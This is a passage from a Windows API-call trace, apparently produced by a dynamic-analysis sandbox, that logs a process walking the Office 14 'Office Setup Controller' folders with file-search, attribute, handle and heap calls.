ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0268.206] GetLastError () returned 0x12 [0268.206] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x959028) returned 1 [0268.206] FindClose (in: hFindFile=0x549080 | out: hFindFile=0x549080) returned 1 [0268.206] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x959130) returned 1 [0268.206] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x958f20) returned 1 [0268.206] FindNextFileW (in: hFindFile=0x549100, lpFindFileData=0x118ec9c | out: lpFindFileData=0x118ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Project.en-us", cAlternateFileName="")) returned 1 [0268.206] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x958f20 [0268.207] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us"), fInfoLevelId=0x0, lpFileInformation=0x118eb98 | out: lpFileInformation=0x118eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0268.327] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0268.328] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x118ebdc, lpLastWriteTime=0x118ebdc) returned 0 [0268.328] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x4000) returned 0x95c940 [0268.328] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x95c940, nOutBufferSize=0x4000, lpBytesReturned=0x118ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x95c940, lpBytesReturned=0x118ec34, lpOverlapped=0x0) returned 0 [0268.328] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x95c940) returned 1 [0268.328] NtClose (Handle=0x190) returned 0x0 [0268.328] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x958f20) returned 1 [0268.328] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0268.328] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x9467c0 [0268.328] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x958f20 [0268.328] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0268.328] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x959130 [0268.328] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x118e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118e9e4) returned 0x549080 [0268.328] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118e9e4 | out: lpFindFileData=0x118e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.328] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118e9e4 | out: lpFindFileData=0x118e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5b2ebe0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf551ba0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5b2ebe0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectMUI.XML", cAlternateFileName="")) returned 1 [0268.328] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0268.328] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0268.328] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0268.328] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0268.328] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0268.328] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x959028 [0268.329] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9467c0) returned 1 [0268.329] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x18) returned 0x95a1f0 [0268.329] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x95bcf0 [0268.329] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0268.329] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118e9e4 | out: lpFindFileData=0x118e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5bc88d0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0268.329] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0268.329] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0268.329] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0268.329] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0268.329] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0268.329] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x18) returned 0x95a210 [0268.329] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x95bdf8 [0268.329] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0268.329] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118e9e4 | out: lpFindFileData=0x118e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5bc88d0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0268.329] GetLastError () returned 0x12 [0268.329] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x118e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118e9e4) returned 0x5490c0 [0268.329] FindClose (in: hFindFile=0x549080 | out: hFindFile=0x549080) returned 1 [0268.329] FindNextFileW (in: hFindFile=0x5490c0, lpFindFileData=0x118e9e4 | out: lpFindFileData=0x118e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.329] FindNextFileW (in: hFindFile=0x5490c0, lpFindFileData=0x118e9e4 | out: lpFindFileData=0x118e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5b2ebe0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf551ba0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5b2ebe0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectMUI.XML", cAlternateFileName="")) returned 1 [0268.329] FindNextFileW (in: hFindFile=0x5490c0, lpFindFileData=0x118e9e4 | out: lpFindFileData=0x118e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5bc88d0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0268.329] FindNextFileW (in: hFindFile=0x5490c0, lpFindFileData=0x118e9e4 | out: lpFindFileData=0x118e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5bc88d0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0268.329] GetLastError () returned 0x12 [0268.329] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x959130) returned 1 [0268.329] FindClose (in: hFindFile=0x5490c0 | out: hFindFile=0x5490c0) returned 1 [0268.330] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x959028) returned 1 [0268.330] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x958f20) returned 1 [0268.330] FindNextFileW (in: hFindFile=0x549100, lpFindFileData=0x118ec9c | out: lpFindFileData=0x118ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99177d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.en", cAlternateFileName="")) returned 1 [0268.330] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x958f20 [0268.330] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en"), fInfoLevelId=0x0, lpFileInformation=0x118eb98 | out: lpFileInformation=0x118eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99177d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0268.372] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x194 [0268.372] SetFileTime (hFile=0x194, lpCreationTime=0x0, lpLastAccessTime=0x118ebdc, lpLastWriteTime=0x118ebdc) returned 0 [0268.372] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x4000) returned 0x95c940 [0268.372] DeviceIoControl (in: hDevice=0x194, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x95c940, nOutBufferSize=0x4000, lpBytesReturned=0x118ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x95c940, lpBytesReturned=0x118ec34, lpOverlapped=0x0) returned 0 [0268.373] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x95c940) returned 1 [0268.373] NtClose (Handle=0x194) returned 0x0 [0268.373] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x958f20) returned 1 [0268.373] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0268.373] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x9467c0 [0268.373] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x958f20 [0268.373] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0268.373] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x959028 [0268.373] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\*", fInfoLevelId=0x1, lpFindFileData=0x118e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118e9e4) returned 0x5490c0 [0268.373] FindNextFileW (in: hFindFile=0x5490c0, lpFindFileData=0x118e9e4 | out: lpFindFileData=0x118e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99177d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.373] FindNextFileW (in: hFindFile=0x5490c0, lpFindFileData=0x118e9e4 | out: lpFindFileData=0x118e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01be3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 1 [0268.373] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0268.373] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0268.373] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0268.373] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0268.373] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0268.373] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x959130 [0268.373] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9467c0) returned 1 [0268.373] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x18) returned 0x95a230 [0268.373] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x95bf00 [0268.373] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0268.373] FindNextFileW (in: hFindFile=0x5490c0, lpFindFileData=0x118e9e4 | out: lpFindFileData=0x118e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01be3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 0 [0268.374] GetLastError () returned 0x12 [0268.374] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\*", fInfoLevelId=0x1, lpFindFileData=0x118e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118e9e4) returned 0x549080 [0268.374] FindClose (in: hFindFile=0x5490c0 | out: hFindFile=0x5490c0) returned 1 [0268.374] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118e9e4 | out: lpFindFileData=0x118e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99177d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.374] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118e9e4 | out: lpFindFileData=0x118e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01be3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 1 [0268.374] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118e9e4 | out: lpFindFileData=0x118e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01be3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 0 [0268.374] GetLastError () returned 0x12 [0268.374] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x959028) returned 1 [0268.374] FindClose (in: hFindFile=0x549080 | out: hFindFile=0x549080) returned 1 [0268.374] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x959130) returned 1 [0268.374] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x958f20) returned 1 [0268.374] FindNextFileW (in: hFindFile=0x549100, lpFindFileData=0x118ec9c | out: lpFindFileData=0x118ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.es", cAlternateFileName="")) returned 1 [0268.374] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x958f20 [0268.374] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es"), fInfoLevelId=0x0, lpFileInformation=0x118eb98 | out: lpFileInformation=0x118eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0268.499] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0268.499] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x118ebdc, lpLastWriteTime=0x118ebdc) returned 0 [0268.499] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x4000) returned 0x95c940 [0268.499] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x95c940, nOutBufferSize=0x4000, lpBytesReturned=0x118ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x95c940, lpBytesReturned=0x118ec34, lpOverlapped=0x0) returned 0 [0268.500] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x95c940) returned 1 [0268.500] NtClose (Handle=0x190) returned 0x0 [0268.500] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x958f20) returned 1 [0268.500] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0268.500] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x9467c0 [0268.500] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x958f20 [0268.500] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0268.500] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x959130 [0268.500] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\*", fInfoLevelId=0x1, lpFindFileData=0x118e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118e9e4) returned 0x549080 [0268.500] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118e9e4 | out: lpFindFileData=0x118e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.500] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118e9e4 | out: lpFindFileData=0x118e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4e37e00, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 1 [0268.500] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0268.500] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0268.500] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0268.500] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0268.500] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0268.500] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x959028 [0268.500] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9467c0) returned 1 [0268.500] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x18) returned 0x95a250 [0268.500] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x95c008 [0268.500] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0268.500] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118e9e4 | out: lpFindFileData=0x118e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4e37e00, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 0 [0268.500] GetLastError () returned 0x12 [0268.500] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\*", fInfoLevelId=0x1, lpFindFileData=0x118e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118e9e4) returned 0x5490c0 [0268.501] FindClose (in: hFindFile=0x549080 | out: hFindFile=0x549080) returned 1 [0268.501] FindNextFileW (in: hFindFile=0x5490c0, lpFindFileData=0x118e9e4 | out: lpFindFileData=0x118e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.501] FindNextFileW (in: hFindFile=0x5490c0, lpFindFileData=0x118e9e4 | out: lpFindFileData=0x118e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4e37e00, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 1 [0268.501] FindNextFileW (in: hFindFile=0x5490c0, 